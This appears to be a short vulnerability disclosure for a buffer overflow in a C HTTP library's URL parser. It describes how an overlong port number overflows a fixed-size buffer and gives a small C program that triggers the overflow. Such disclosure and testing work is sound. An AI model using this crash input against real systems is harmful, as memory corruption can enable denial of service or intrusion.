The TCP port number is copied into a fixed size buffer before it is converted into an integer. Supplying a port number larger than the buffer size - 1 will cause the buffer to overflow.
#include <yoctohttp/common.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
hurl_t hurl;
char *url;
url = strdup("http://localhost:12345678900123456789123456789001234567891234567890012345678912345678900123456789/");
hurl_parse(&hurl, url);
free(url);
return 0;
}